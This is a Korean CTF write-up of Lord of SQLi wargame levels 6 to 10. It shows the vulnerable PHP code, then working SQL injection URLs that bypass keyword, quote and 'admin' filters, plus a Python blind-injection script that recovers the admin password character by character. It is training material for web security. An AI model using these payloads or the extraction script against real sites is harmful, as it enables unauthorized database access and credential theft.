Home Lord Of SQL (6번~10번)
Post
Cancel

Lord Of SQL (6번~10번)

이어서 LOS 6~10번

6번 darkelf

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

이번엔 and와 or이 막혀있으니까 \&\&와 ||로 우회를 해주면 된다.

1
2
3
https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=2'||id='admin'%26%261=1--%20

-> query : select id from prob_darkelf where id='guest' and pw='2'||id='admin'&&1=1-- '

&&는 URL 파라미터를 깨므로 %26%26으로 했다.

7번 orge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

아까와 비슷한데 LOS 4번처럼 비밀번호까지 뜯어내야하는 상황이다.

이 때 보면 위에 있는 것이 blind sqli용으로 사용할 수 있고, 확인하면 된다.

1
https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=2%27||id=%27admin%27%26%26length(pw)>7--%20

image

이렇게 hello admin으로 체크하면서 구문을 통해서 pw의 길이와 substring을 통해서 한글자씩 가져오면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import string
import requests

my_cookies = dict(PHPSESSID="6bl080tudhcon4v9a2m4bl5456")
idLength = 8
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
abc = string.digits + string.ascii_letters

print("Start Blind attack")
result = ""

for i in range(1, idLength + 1):
    for a in abc:
        # 수정된 파라미터
        param = "?pw=2%27||id=%27admin%27%26%26ASCII(SUBSTR(pw," + str(i) + ",1))=" + str(ord(a)) + "%23"
        
        new_url = url + param
        res = requests.get(new_url, cookies=my_cookies)
        
        if res.text.find("<h2>Hello admin</h2>") > 0:
            print(str(i) + "번째 char is: " + a)
            result += a
            break

print("result: " + result)

8번 troll

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match("/admin/", $_GET[id])) exit("HeHe");
  $query = "select id from prob_troll where id='{$_GET[id]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id'] == 'admin') solve("troll");
  highlight_file(__FILE__);
?>

admin 문자열과 싱글 쿼터가 필터링 되어 있다.
하지만 입력 값에 대해 소문자로 바꾸는 lower 같은 처리가 안되어 있으므로 Admin 등으로 우회가 쉽게 된다.

1
2
3
https://los.rubiya.kr/chall/troll_05b5eb65d94daf81c42dd44136cb0063.php?id=Admin

-> query : select id from prob_troll where id='Admin'

9번 vampire

1
2
3
4
5
6
7
8
9
10
11
12
13
14
http://www.wechall.net
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  $_GET[id] = strtolower($_GET[id]);
  $_GET[id] = str_replace("admin","",$_GET[id]); 
  $query = "select id from prob_vampire where id='{$_GET[id]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("vampire"); 
  highlight_file(__FILE__); 
?>

친숙한 유형으로 admin을 공백으로 바꿔버린다.
이는 adadminmin처럼 입력을 하면 중간이 사라지면서 admin이 되기에 우회가 쉽게 된다.

1
2
https://los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=adadminmin
-> query : select id from prob_vampire where id='admin'

10번 skeleton

1
2
3
4
5
6
7
8
9
10
11
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

뒤에 and 1=0을 통해서 구문을 참으로 만들지 않도록 해놨다.
하지만 sql 구문에서 and가 or보다 우선순위가 높기에 False or True or False 의 구조로 바꿔버리면 된다.

1
2
https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=' or id='admin' and 1=1 or '1
-> query : select id from prob_skeleton where id='guest' and pw='' or id='admin' and 1=1 or '1' and 1=0

AND 먼저 계산:

1
2
3
id='guest' and pw='' → False
id='admin' and 1=1 → True
'1' and 1=0 → False

이렇게 해결 할 수 있었다.

This post is written by PRO.